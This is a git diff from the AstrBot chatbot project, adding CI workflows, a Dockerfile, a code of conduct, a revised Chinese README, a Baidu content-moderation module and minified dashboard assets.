typo: fix t2i typo

/models 指令优化

.github/workflows/docker-image.yml

@@ -0,0 +1,23 @@
+name: Docker Image CI/CD
+
+on:
+  release:
+    types: [published]
+  workflow_dispatch:
+jobs:
+  publish-latest-docker-image:
+    runs-on: ubuntu-latest
+    name: Build and publish docker image
+
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v2
+      - name: Build image
+        run: |
+          git clone https://github.com/Soulter/AstrBot
+          cd AstrBot
+          docker build -t ${{ secrets.DOCKER_HUB_USERNAME }}/astrbot:latest .
+      - name: Publish image
+        run: |
+          docker login -u ${{ secrets.DOCKER_HUB_USERNAME }} -p ${{ secrets.DOCKER_HUB_PASSWORD }}
+          docker push ${{ secrets.DOCKER_HUB_USERNAME }}/astrbot:latest

.github/workflows/stale.yml

@@ -0,0 +1,27 @@
+# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
+#
+# You can adjust the behavior by modifying this file.
+# For more information, see:
+# https://github.com/actions/stale
+name: Mark stale issues and pull requests
+
+on:
+  schedule:
+  - cron: '21 23 * * *'
+
+jobs:
+  stale:
+
+    runs-on: ubuntu-latest
+    permissions:
+      issues: write
+      pull-requests: write
+
+    steps:
+    - uses: actions/stale@v5
+      with:
+        repo-token: ${{ secrets.GITHUB_TOKEN }}
+        stale-issue-message: 'Stale issue message'
+        stale-pr-message: 'Stale pull request message'
+        stale-issue-label: 'no-issue-activity'
+        stale-pr-label: 'no-pr-activity'

.gitignore

@@ -0,0 +1,13 @@
+__pycache__
+botpy.log
+.vscode
+data.db
+configs/session
+configs/config.yaml
+**/.DS_Store
+temp
+cmd_config.json
+addons/plugins/
+data/*
+cookies.json
+logs/

.vscode/settings.json

@@ -1,3 +0,0 @@
-{
-    "python.analysis.typeCheckingMode": "basic"
-}

CODE_OF_CONDUCT.md

@@ -0,0 +1,128 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+We as members, contributors, and leaders pledge to make participation in our
+community a harassment-free experience for everyone, regardless of age, body
+size, visible or invisible disability, ethnicity, sex characteristics, gender
+identity and expression, level of experience, education, socio-economic status,
+nationality, personal appearance, race, religion, or sexual identity
+and orientation.
+
+We pledge to act and interact in ways that contribute to an open, welcoming,
+diverse, inclusive, and healthy community.
+
+## Our Standards
+
+Examples of behavior that contributes to a positive environment for our
+community include:
+
+* Demonstrating empathy and kindness toward other people
+* Being respectful of differing opinions, viewpoints, and experiences
+* Giving and gracefully accepting constructive feedback
+* Accepting responsibility and apologizing to those affected by our mistakes,
+  and learning from the experience
+* Focusing on what is best not just for us as individuals, but for the
+  overall community
+
+Examples of unacceptable behavior include:
+
+* The use of sexualized language or imagery, and sexual attention or
+  advances of any kind
+* Trolling, insulting or derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or email
+  address, without their explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+  professional setting
+
+## Enforcement Responsibilities
+
+Community leaders are responsible for clarifying and enforcing our standards of
+acceptable behavior and will take appropriate and fair corrective action in
+response to any behavior that they deem inappropriate, threatening, offensive,
+or harmful.
+
+Community leaders have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are
+not aligned to this Code of Conduct, and will communicate reasons for moderation
+decisions when appropriate.
+
+## Scope
+
+This Code of Conduct applies within all community spaces, and also applies when
+an individual is officially representing the community in public spaces.
+Examples of representing our community include using an official e-mail address,
+posting via an official social media account, or acting as an appointed
+representative at an online or offline event.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported to the community leaders responsible for enforcement at
+SoulterL@outlook.com.
+All complaints will be reviewed and investigated promptly and fairly.
+
+All community leaders are obligated to respect the privacy and security of the
+reporter of any incident.
+
+## Enforcement Guidelines
+
+Community leaders will follow these Community Impact Guidelines in determining
+the consequences for any action they deem in violation of this Code of Conduct:
+
+### 1. Correction
+
+**Community Impact**: Use of inappropriate language or other behavior deemed
+unprofessional or unwelcome in the community.
+
+**Consequence**: A private, written warning from community leaders, providing
+clarity around the nature of the violation and an explanation of why the
+behavior was inappropriate. A public apology may be requested.
+
+### 2. Warning
+
+**Community Impact**: A violation through a single incident or series
+of actions.
+
+**Consequence**: A warning with consequences for continued behavior. No
+interaction with the people involved, including unsolicited interaction with
+those enforcing the Code of Conduct, for a specified period of time. This
+includes avoiding interactions in community spaces as well as external channels
+like social media. Violating these terms may lead to a temporary or
+permanent ban.
+
+### 3. Temporary Ban
+
+**Community Impact**: A serious violation of community standards, including
+sustained inappropriate behavior.
+
+**Consequence**: A temporary ban from any sort of interaction or public
+communication with the community for a specified period of time. No public or
+private interaction with the people involved, including unsolicited interaction
+with those enforcing the Code of Conduct, is allowed during this period.
+Violating these terms may lead to a permanent ban.
+
+### 4. Permanent Ban
+
+**Community Impact**: Demonstrating a pattern of violation of community
+standards, including sustained inappropriate behavior,  harassment of an
+individual, or aggression toward or disparagement of classes of individuals.
+
+**Consequence**: A permanent ban from any sort of public interaction within
+the community.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage],
+version 2.0, available at
+https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
+
+Community Impact Guidelines were inspired by [Mozilla's code of conduct
+enforcement ladder](https://github.com/mozilla/diversity).
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see the FAQ at
+https://www.contributor-covenant.org/faq. Translations are available at
+https://www.contributor-covenant.org/translations.

Dockerfile

@@ -0,0 +1,8 @@
+FROM python:3.10.13-bullseye
+WORKDIR /AstrBot
+
+COPY . /AstrBot/
+
+RUN python -m pip install -r requirements.txt
+
+CMD [ "python", "main.py" ]

README.md

@@ -1,25 +1,45 @@
-## ⭐体验
-扫码加入QQ频道
+<p align="center">
 
-![image](https://user-images.githubusercontent.com/37870767/217891261-7f2bbede-a70a-4e9b-9cdd-15dcb06f6629.png)
+<img src="https://github.com/Soulter/AstrBot/assets/37870767/b1686114-f3aa-4963-b07f-28bf83dc0a10" alt="QQChannelChatGPT" width="200" />
+</p>
+<div align="center">
 
+# AstrBot
 
+[![GitHub release (latest by date)](https://img.shields.io/github/v/release/Soulter/AstrBot)](https://github.com/Soulter/AstrBot/releases/latest)
+<img src="https://img.shields.io/badge/python-3.9+-blue.svg" alt="python">
+<a href="https://hub.docker.com/r/soulter/astrbot"><img alt="Docker pull" src="https://img.shields.io/docker/pulls/soulter/astrbot.svg"/></a>
+<a href="https://qm.qq.com/cgi-bin/qm/qr?k=EYGsuUTfe00_iOu9JTXS7_TEpMkXOvwv&jump_from=webapi&authKey=uUEMKCROfsseS+8IzqPjzV3y1tzy4AkykwTib2jNkOFdzezF9s9XknqnIaf3CDft">
+<img alt="Static Badge" src="https://img.shields.io/badge/QQ群-322154837-purple">
+</a>
 
-**推荐Windows一键安装（版本更新更及时）！！**
-**请前往Release下载最新版本**
+<a href="https://astrbot.soulter.top/center">项目部署</a> ｜
+<a href="https://github.com/Soulter/AstrBot/issues">问题提交</a> ｜
+<a href="https://astrbot.soulter.top/center/docs/%E5%BC%80%E5%8F%91/%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91">插件开发</a>
+</div>
 
-**详细部署教程链接**https://soulter.top/posts/qpdg.html
+## 🧩功能：
 
-**详细部署教程链接**https://soulter.top/posts/qpdg.html
+🌍支持的消息平台
+- QQ 群、QQ 频道（OneBot、QQ 官方接口）
+- Telegram（由 [astrbot_plugin_telegram](https://github.com/Soulter/astrbot_plugin_telegram) 插件支持）
 
-**详细部署教程链接**https://soulter.top/posts/qpdg.html
+🌍支持的大模型一览：
 
-有任何问题请加频道反馈。
+- OpenAI GPT、DallE 系列
+- Claude（免费，由[LLMs插件](https://github.com/Soulter/llms)支持）
+- HuggingChat（免费，由[LLMs插件](https://github.com/Soulter/llms)支持）
+- Gemini（免费，由[LLMs插件](https://github.com/Soulter/llms)支持）
 
- 
-
-## ⭐功能：
+🌍机器人支持的能力一览：
+- 大模型对话、人格、网页搜索
+- 可视化管理面板
+- 同时处理多平台消息
+- 精确到个人的会话隔离
+- 插件支持
+- 文本转图片回复
 
+<!-- 
 ### 基本功能
 <details> 
  <summary>✅ 回复符合上下文</summary>
@@ -61,7 +81,7 @@
  </details>
 
 <details> 
- <summary>✅ 支持指令控制</summary> 
+ <summary>✅ 支持多种指令控制</summary> 
   
    -  详见下方`指令功能`
   
@@ -74,41 +94,64 @@
 
    -  QQ频道机器人框架为QQ官方开源的框架，稳定。
 
-</details>
+</details> -->
 
-> 关于token：token就相当于是AI中的单词数（但是不等于单词数），`text-davinci-003`模型中最大可以支持`4097`个token。在发送信息时，这个机器人会将用户的历史聊天记录打包发送给ChatGPT，因此，`token`也会相应的累加，为了保证聊天的上下文的逻辑性，就有了缓存token。
-### 指令功能
-需要先`@`机器人之后再输入指令
+<!-- > 关于token：token就相当于是AI中的单词数（但是不等于单词数），`text-davinci-003`模型中最大可以支持`4097`个token。在发送信息时，这个机器人会将用户的历史聊天记录打包发送给ChatGPT，因此，`token`也会相应的累加，为了保证聊天的上下文的逻辑性，就有了缓存token。 -->
+
+### 🛠️ 插件支持
+
+本项目支持接入插件。
+
+> 使用`plugin i 插件GitHub链接`即可安装。
+
+部分插件：
+
+- `LLMS`: https://github.com/Soulter/llms | Claude, HuggingChat 大语言模型接入。
+ 
+- `GoodPlugins`: https://github.com/Soulter/goodplugins | 随机动漫图片、搜番、喜报生成器等。
+
+- `sysstat`: https://github.com/Soulter/sysstatqcbot | 查看系统状态
+
+- `BiliMonitor`: https://github.com/Soulter/BiliMonitor | 订阅B站动态
+  
+- `liferestart`: https://github.com/Soulter/liferestart | 人生重开模拟器
+
+- `astrbot_plugin_aiocqhttp`: https://github.com/Soulter/astrbot_plugin_aiocqhttp | aiocqhttp 适配器，支持接入支持反向 WS 的 OneBot 协议实现，如 Lagrange.OneBot，Shamrock 等。
+
+
+<img width="900" alt="image" src="https://github.com/Soulter/AstrBot/assets/37870767/824d1ff3-7b85-481c-b795-8e62dedb9fd7">
+
+
+<!-- 
+### 指令
+
+#### OpenAI官方API
+在频道内需要先`@`机器人之后再输入指令；在QQ中暂时需要在消息前加上`ai `，不需要@
 - `/reset`重置prompt
 - `/his`查看历史记录（每个用户都有独立的会话）
 - `/his [页码数]`查看不同页码的历史记录。例如`/his 2`查看第2页
 - `/token`查看当前缓存的总token数
 - `/count` 查看统计
 - `/status` 查看chatGPT的配置
+- `/help` 查看帮助
+- `/key` 动态添加key
+- `/set` 人格设置面板
+- `/keyword nihao 你好` 设置关键词回复。nihao->你好
+- `/画` 画画
 
-## 📰使用方法：
+#### 逆向ChatGPT库语言模型
+- `/gpt` 切换为OpenAI官方API
 
-### 安装第三方库
+* 切换模型指令支持临时回复。如`/a 你好`将会临时使用一次bing模型 -->
+<!--
+## 🙇‍感谢
 
-使用Python的pip工具安装
-- `qq-botpy` （QQ频道官方Python SDK）
-- `openai` (OpenAI 库)
-```shell
-pip install -r requirements.txt
-```
-> ⚠注意，由于qq-botpy需要运行在`Python 3.8+`的版本上，因此本项目也需要在此之上运行
+本项目使用了一下项目:
 
-### 配置
+[ChatGPT by acheong08](https://github.com/acheong08/ChatGPT)
 
-- 获得 OpenAI的key [OpenAI](https://beta.openai.com/)
-- 获得 QQ开放平台下QQ频道机器人的token和appid [QQ开放平台](https://q.qq.com/)，一个QQ频道机器人（很容易创建~）
-- 在configs/config.yaml下进行配置
+[EdgeGPT by acheong08](https://github.com/acheong08/EdgeGPT)
 
-### 启动
-- 启动main.py
+[go-cqhttp by Mrs4s](https://github.com/Mrs4s/go-cqhttp)
 
-
-## DEMO
-![1.jpg](screenshots/1.jpg)
-![3.jpg](screenshots/3.jpg)
-![2.jpg](screenshots/2.jpg)
+[nakuru-project by Lxns-Network](https://github.com/Lxns-Network/nakuru-project) -->

addons/baidu_aip_judge.py

@@ -0,0 +1,29 @@
+from aip import AipContentCensor
+
+
+class BaiduJudge:
+    def __init__(self, baidu_configs) -> None:
+        if 'app_id' in baidu_configs and 'api_key' in baidu_configs and 'secret_key' in baidu_configs:
+            self.app_id = str(baidu_configs['app_id'])
+            self.api_key = baidu_configs['api_key']
+            self.secret_key = baidu_configs['secret_key']
+            self.client = AipContentCensor(
+                self.app_id, self.api_key, self.secret_key)
+        else:
+            raise ValueError("Baidu configs error! 请填写百度内容审核服务相关配置！")
+
+    def judge(self, text):
+        res = self.client.textCensorUserDefined(text)
+        if 'conclusionType' not in res:
+            return False, "百度审核服务未知错误"
+        if res['conclusionType'] == 1:
+            return True, "合规"
+        else:
+            if 'data' not in res:
+                return False, "百度审核服务未知错误"
+            count = len(res['data'])
+            info = f"百度审核服务发现 {count} 处违规：\n"
+            for i in res['data']:
+                info += f"{i['msg']}；\n"
+            info += "\n判断结果："+res['conclusion']
+            return False, info

addons/dashboard/dist/_redirects

@@ -0,0 +1 @@
+/*    /index.html   200

addons/dashboard/dist/assets/BaseBreadcrumb-4d676ba5.css

@@ -0,0 +1 @@
+.page-breadcrumb .v-toolbar{background:transparent}

addons/dashboard/dist/assets/BaseBreadcrumb.vue_vue_type_style_index_0_lang-e31f96f8.js

@@ -0,0 +1 @@
+import{x as i,o as l,c as _,w as s,a as e,f as a,J as m,V as c,b as t,t as u,ad as p,B as n,ae as o,j as f}from"./index-dc96e1be.js";const b={class:"text-h3"},h={class:"d-flex align-center"},g={class:"d-flex align-center"},V=i({__name:"BaseBreadcrumb",props:{title:String,breadcrumbs:Array,icon:String},setup(d){const r=d;return(x,B)=>(l(),_(c,{class:"page-breadcrumb mb-1 mt-1"},{default:s(()=>[e(a,{cols:"12",md:"12"},{default:s(()=>[e(m,{variant:"outlined",elevation:"0",class:"px-4 py-3 withbg"},{default:s(()=>[e(c,{"no-gutters":"",class:"align-center"},{default:s(()=>[e(a,{md:"5"},{default:s(()=>[t("h3",b,u(r.title),1)]),_:1}),e(a,{md:"7",sm:"12",cols:"12"},{default:s(()=>[e(p,{items:r.breadcrumbs,class:"text-h5 justify-md-end pa-1"},{divider:s(()=>[t("div",h,[e(n(o),{size:"17"})])]),prepend:s(()=>[e(f,{size:"small",icon:"mdi-home",class:"text-secondary mr-2"}),t("div",g,[e(n(o),{size:"17"})])]),_:1},8,["items"])]),_:1})]),_:1})]),_:1})]),_:1})]),_:1}))}});export{V as _};

addons/dashboard/dist/assets/BlankLayout-1694b31c.js

@@ -0,0 +1 @@
+import{x as e,o as a,c as t,w as o,a as s,B as n,Z as r,W as c}from"./index-dc96e1be.js";const f=e({__name:"BlankLayout",setup(p){return(u,_)=>(a(),t(c,null,{default:o(()=>[s(n(r))]),_:1}))}});export{f as default};

addons/dashboard/dist/assets/ColorPage-757221a5.js

@@ -0,0 +1 @@
+import{_ as m}from"./BaseBreadcrumb.vue_vue_type_style_index_0_lang-e31f96f8.js";import{_}from"./UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js";import{x as p,D as a,o as r,s,a as e,w as t,f as o,V as i,F as n,u as g,c as h,a0 as b,e as x,t as y}from"./index-dc96e1be.js";const P=p({__name:"ColorPage",setup(C){const c=a({title:"Colors Page"}),d=a([{title:"Utilities",disabled:!1,href:"#"},{title:"Colors",disabled:!0,href:"#"}]),u=a(["primary","lightprimary","secondary","lightsecondary","info","success","accent","warning","error","darkText","lightText","borderLight","inputBorder","containerBg"]);return(V,k)=>(r(),s(n,null,[e(m,{title:c.value.title,breadcrumbs:d.value},null,8,["title","breadcrumbs"]),e(i,null,{default:t(()=>[e(o,{cols:"12",md:"12"},{default:t(()=>[e(_,{title:"Color Palette"},{default:t(()=>[e(i,null,{default:t(()=>[(r(!0),s(n,null,g(u.value,(l,f)=>(r(),h(o,{md:"3",cols:"12",key:f},{default:t(()=>[e(b,{rounded:"md",class:"align-center justify-center d-flex",height:"100",width:"100%",color:l},{default:t(()=>[x("class: "+y(l),1)]),_:2},1032,["color"])]),_:2},1024))),128))]),_:1})]),_:1})]),_:1})]),_:1})],64))}});export{P as default};

addons/dashboard/dist/assets/ConfigDetailCard-8467c848.js

@@ -0,0 +1 @@
+import{o as l,s as o,u as c,c as n,w as u,Q as g,b as s,R as k,F as t,ab as h,O as p,t as m,a as V,ac as f,i as C,q as x,k as v,A as U}from"./index-dc96e1be.js";import{_ as w}from"./UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js";const S={__name:"ConfigDetailCard",props:{config:Array},setup(d){return(y,B)=>(l(!0),o(t,null,c(d.config,r=>(l(),n(w,{key:r.name,title:r.name,style:{"margin-bottom":"16px"}},{default:u(()=>[g(s("a",null,"No data",512),[[k,d.config.length===0]]),(l(!0),o(t,null,c(r.body,e=>(l(),o(t,null,[e.config_type==="item"?(l(),o(t,{key:0},[e.val_type==="bool"?(l(),n(h,{key:0,modelValue:e.value,"onUpdate:modelValue":a=>e.value=a,label:e.name,hint:e.description,color:"primary",inset:""},null,8,["modelValue","onUpdate:modelValue","label","hint"])):e.val_type==="str"?(l(),n(p,{key:1,modelValue:e.value,"onUpdate:modelValue":a=>e.value=a,label:e.name,hint:e.description,style:{"margin-bottom":"8px"},variant:"outlined"},null,8,["modelValue","onUpdate:modelValue","label","hint"])):e.val_type==="int"?(l(),n(p,{key:2,modelValue:e.value,"onUpdate:modelValue":a=>e.value=a,label:e.name,hint:e.description,style:{"margin-bottom":"8px"},variant:"outlined"},null,8,["modelValue","onUpdate:modelValue","label","hint"])):e.val_type==="list"?(l(),o(t,{key:3},[s("span",null,m(e.name),1),V(f,{modelValue:e.value,"onUpdate:modelValue":a=>e.value=a,chips:"",clearable:"",label:"请添加",multiple:"","prepend-icon":"mdi-tag-multiple-outline"},{selection:u(({attrs:a,item:i,select:b,selected:_})=>[V(C,x(a,{"model-value":_,closable:"",onClick:b,"onClick:close":D=>y.remove(i)}),{default:u(()=>[s("strong",null,m(i),1)]),_:2},1040,["model-value","onClick","onClick:close"])]),_:2},1032,["modelValue","onUpdate:modelValue"])],64)):v("",!0)],64)):e.config_type==="divider"?(l(),n(U,{key:1,style:{"margin-top":"8px","margin-bottom":"8px"}})):v("",!0)],64))),256))]),_:2},1032,["title"]))),128))}};export{S as _};

addons/dashboard/dist/assets/ConfigPage-164b73e7.js

@@ -0,0 +1 @@
+import{_ as y}from"./UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js";import{x as h,o,c as u,w as t,a,a8 as b,b as c,K as x,e as f,t as g,G as V,A as w,L as S,a9 as $,J as B,s as _,d as v,F as d,u as p,f as G,V as T,aa as j,T as l}from"./index-dc96e1be.js";import{_ as m}from"./ConfigDetailCard-8467c848.js";const D={class:"d-sm-flex align-center justify-space-between"},C=h({__name:"ConfigGroupCard",props:{title:String},setup(e){const s=e;return(i,n)=>(o(),u(B,{variant:"outlined",elevation:"0",class:"withbg",style:{width:"50%"}},{default:t(()=>[a(b,{style:{padding:"10px 20px"}},{default:t(()=>[c("div",D,[a(x,null,{default:t(()=>[f(g(s.title),1)]),_:1}),a(V)])]),_:1}),a(w),a(S,null,{default:t(()=>[$(i.$slots,"default")]),_:3})]),_:3}))}}),I={style:{display:"flex","flex-direction":"row","justify-content":"space-between","align-items":"center","margin-bottom":"12px"}},N={style:{display:"flex","flex-direction":"row"}},R={style:{"margin-right":"10px",color:"black"}},F={style:{color:"#222"}},k=h({__name:"ConfigGroupItem",props:{title:String,desc:String,btnRoute:String,namespace:String},setup(e){const s=e;return(i,n)=>(o(),_("div",I,[c("div",N,[c("h3",R,g(s.title),1),c("p",F,g(s.desc),1)]),a(v,{to:s.btnRoute,color:"primary",class:"ml-2",style:{"border-radius":"10px"}},{default:t(()=>[f("配置")]),_:1},8,["to"])]))}}),L={style:{display:"flex","flex-direction":"row",padding:"16px",gap:"16px",width:"100%"}},P={name:"ConfigPage",components:{UiParentCard:y,ConfigGroupCard:C,ConfigGroupItem:k,ConfigDetailCard:m},data(){return{config_data:[],config_base:[],save_message_snack:!1,save_message:"",save_message_success:"",config_outline:[],namespace:""}},mounted(){this.getConfig()},methods:{switchConfig(e){l.get("/api/configs?namespace="+e).then(s=>{this.namespace=e,this.config_data=s.data.data,console.log(this.config_data)}).catch(s=>{save_message=s,save_message_snack=!0,save_message_success="error"})},getConfig(){l.get("/api/config_outline").then(e=>{this.config_outline=e.data.data,console.log(this.config_outline)}).catch(e=>{save_message=e,save_message_snack=!0,save_message_success="error"}),l.get("/api/configs").then(e=>{this.config_base=e.data.data,console.log(this.config_data)}).catch(e=>{save_message=e,save_message_snack=!0,save_message_success="error"})},updateConfig(){l.post("/api/configs",{base_config:this.config_base,config:this.config_data,namespace:this.namespace}).then(e=>{e.data.status==="success"?(this.save_message=e.data.message,this.save_message_snack=!0,this.save_message_success="success"):(this.save_message=e.data.message,this.save_message_snack=!0,this.save_message_success="error")}).catch(e=>{this.save_message=e,this.save_message_snack=!0,this.save_message_success="error"})}}},J=Object.assign(P,{setup(e){return(s,i)=>(o(),_(d,null,[a(T,null,{default:t(()=>[c("div",L,[(o(!0),_(d,null,p(s.config_outline,n=>(o(),u(C,{key:n.name,title:n.name},{default:t(()=>[(o(!0),_(d,null,p(n.body,r=>(o(),u(k,{title:r.title,desc:r.desc,namespace:r.namespace,onClick:U=>s.switchConfig(r.namespace)},null,8,["title","desc","namespace","onClick"]))),256))]),_:2},1032,["title"]))),128))]),a(G,{cols:"12",md:"12"},{default:t(()=>[a(m,{config:s.config_data},null,8,["config"]),a(m,{config:s.config_base},null,8,["config"])]),_:1})]),_:1}),a(v,{icon:"mdi-content-save",size:"x-large",style:{position:"fixed",right:"52px",bottom:"52px"},color:"darkprimary",onClick:s.updateConfig},null,8,["onClick"]),a(j,{timeout:2e3,elevation:"24",color:s.save_message_success,modelValue:s.save_message_snack,"onUpdate:modelValue":i[0]||(i[0]=n=>s.save_message_snack=n)},{default:t(()=>[f(g(s.save_message),1)]),_:1},8,["color","modelValue"])],64))}});export{J as default};

addons/dashboard/dist/assets/ConsolePage-ff373be6.css

@@ -0,0 +1,32 @@
+/**
+ * Copyright (c) 2014 The xterm.js authors. All rights reserved.
+ * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)
+ * https://github.com/chjj/term.js
+ * @license MIT
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * Originally forked from (with the author's permission):
+ *   Fabrice Bellard's javascript vt100 for jslinux:
+ *   http://bellard.org/jslinux/
+ *   Copyright (c) 2011 Fabrice Bellard
+ *   The original design remains. The terminal itself
+ *   has been extended to include xterm CSI codes, among
+ *   other features.
+ */.xterm{cursor:text;position:relative;user-select:none;-ms-user-select:none;-webkit-user-select:none}.xterm.focus,.xterm:focus{outline:none}.xterm .xterm-helpers{position:absolute;top:0;z-index:5}.xterm .xterm-helper-textarea{padding:0;border:0;margin:0;position:absolute;opacity:0;left:-9999em;top:0;width:0;height:0;z-index:-5;white-space:nowrap;overflow:hidden;resize:none}.xterm .composition-view{background:#000;color:#fff;display:none;position:absolute;white-space:nowrap;z-index:1}.xterm .composition-view.active{display:block}.xterm .xterm-viewport{background-color:#000;overflow-y:scroll;cursor:default;position:absolute;right:0;left:0;top:0;bottom:0}.xterm .xterm-screen{position:relative}.xterm .xterm-screen canvas{position:absolute;left:0;top:0}.xterm .xterm-scroll-area{visibility:hidden}.xterm-char-measure-element{display:inline-block;visibility:hidden;position:absolute;top:0;left:-9999em;line-height:normal}.xterm.enable-mouse-events{cursor:default}.xterm.xterm-cursor-pointer,.xterm .xterm-cursor-pointer{cursor:pointer}.xterm.column-select.focus{cursor:crosshair}.xterm .xterm-accessibility,.xterm .xterm-message{position:absolute;left:0;top:0;bottom:0;right:0;z-index:10;color:transparent;pointer-events:none}.xterm .live-region{position:absolute;left:-9999px;width:1px;height:1px;overflow:hidden}.xterm-dim{opacity:1!important}.xterm-underline-1{text-decoration:underline}.xterm-underline-2{text-decoration:double underline}.xterm-underline-3{text-decoration:wavy underline}.xterm-underline-4{text-decoration:dotted underline}.xterm-underline-5{text-decoration:dashed underline}.xterm-overline{text-decoration:overline}.xterm-overline.xterm-underline-1{text-decoration:overline underline}.xterm-overline.xterm-underline-2{text-decoration:overline double underline}.xterm-overline.xterm-underline-3{text-decoration:overline wavy underline}.xterm-overline.xterm-underline-4{text-decoration:overline dotted underline}.xterm-overline.xterm-underline-5{text-decoration:overline dashed underline}.xterm-strikethrough{text-decoration:line-through}.xterm-screen .xterm-decoration-container .xterm-decoration{z-index:6;position:absolute}.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer{z-index:7}.xterm-decoration-overview-ruler{z-index:8;position:absolute;top:0;right:0;pointer-events:none}.xterm-decoration-top{z-index:2;position:relative}

addons/dashboard/dist/assets/Error404Page-06f6396d.js

@@ -0,0 +1 @@
+import{_ as t}from"./_plugin-vue_export-helper-c27b6911.js";import{o,c,w as s,V as i,a as r,b as e,d as l,e as a,f as d}from"./index-dc96e1be.js";const n="/assets/img-error-bg-ab6474a0.svg",_="/assets/img-error-blue-2675a7a9.svg",m="/assets/img-error-text-a6aebfa0.svg",g="/assets/img-error-purple-edee3fbc.svg";const p={},u={class:"text-center"},f=e("div",{class:"CardMediaWrapper"},[e("img",{src:n,alt:"grid",class:"w-100"}),e("img",{src:_,alt:"grid",class:"CardMediaParts"}),e("img",{src:m,alt:"build",class:"CardMediaBuild"}),e("img",{src:g,alt:"build",class:"CardMediaBuild"})],-1),h=e("h1",{class:"text-h1"},"Something is wrong",-1),v=e("p",null,[e("small",null,[a("The page you are looking was moved, removed, "),e("br"),a("renamed, or might never exist! ")])],-1);function x(b,V){return o(),c(i,{"no-gutters":"",class:"h-100vh"},{default:s(()=>[r(d,{class:"d-flex align-center justify-center"},{default:s(()=>[e("div",u,[f,h,v,r(l,{variant:"flat",color:"primary",class:"mt-4",to:"/","prepend-icon":"mdi-home"},{default:s(()=>[a(" Home")]),_:1})])]),_:1})]),_:1})}const C=t(p,[["render",x]]);export{C as default};

addons/dashboard/dist/assets/Error404Page-11cf087a.css

@@ -0,0 +1 @@
+.CardMediaWrapper{max-width:720px;margin:0 auto;position:relative}.CardMediaBuild{position:absolute;top:0;left:0;width:100%;animation:5s bounce ease-in-out infinite}.CardMediaParts{position:absolute;top:0;left:0;width:100%;animation:10s blink ease-in-out infinite}

addons/dashboard/dist/assets/LoginPage-74e85ca7.css

@@ -0,0 +1 @@
+.custom-devider{border-color:#00000014!important}.googleBtn{border-color:#00000014;margin:30px 0 20px}.outlinedInput .v-field{border:1px solid rgba(0,0,0,.08);box-shadow:none}.orbtn{padding:2px 40px;border-color:#00000014;margin:20px 15px}.pwdInput{position:relative}.pwdInput .v-input__append{position:absolute;right:10px;top:50%;transform:translateY(-50%)}.loginForm .v-text-field .v-field--active input{font-weight:500}.loginBox{max-width:475px;margin:0 auto}

addons/dashboard/dist/assets/LogoDark.vue_vue_type_script_setup_true_lang-7df35c25.js

@@ -0,0 +1 @@
+import{av as _,x as d,D as n,o as c,s as m,a as f,w as p,Q as r,b as a,R as o,B as t,aw as h}from"./index-dc96e1be.js";const s={Sidebar_drawer:!0,Customizer_drawer:!1,mini_sidebar:!1,fontTheme:"Roboto",inputBg:!1},l=_({id:"customizer",state:()=>({Sidebar_drawer:s.Sidebar_drawer,Customizer_drawer:s.Customizer_drawer,mini_sidebar:s.mini_sidebar,fontTheme:"Poppins",inputBg:s.inputBg}),getters:{},actions:{SET_SIDEBAR_DRAWER(){this.Sidebar_drawer=!this.Sidebar_drawer},SET_MINI_SIDEBAR(e){this.mini_sidebar=e},SET_FONT(e){this.fontTheme=e}}}),u={class:"logo",style:{display:"flex","align-items":"center"}},b={style:{"font-size":"24px","font-weight":"1000"}},w={style:{"font-size":"20px","font-weight":"1000"}},S={style:{"font-size":"20px"}},z=d({__name:"LogoDark",setup(e){n("rgb(var(--v-theme-primary))"),n("rgb(var(--v-theme-secondary))");const i=l();return(g,B)=>(c(),m("div",u,[f(t(h),{to:"/",style:{"text-decoration":"none",color:"black"}},{default:p(()=>[r(a("span",b,"AstrBot 仪表盘",512),[[o,!t(i).mini_sidebar]]),r(a("span",w,"Astr",512),[[o,t(i).mini_sidebar]]),r(a("span",S,"Bot",512),[[o,t(i).mini_sidebar]])]),_:1})]))}});export{z as _,l as u};

addons/dashboard/dist/assets/MaterialIcons-fc2671ff.js

@@ -0,0 +1 @@
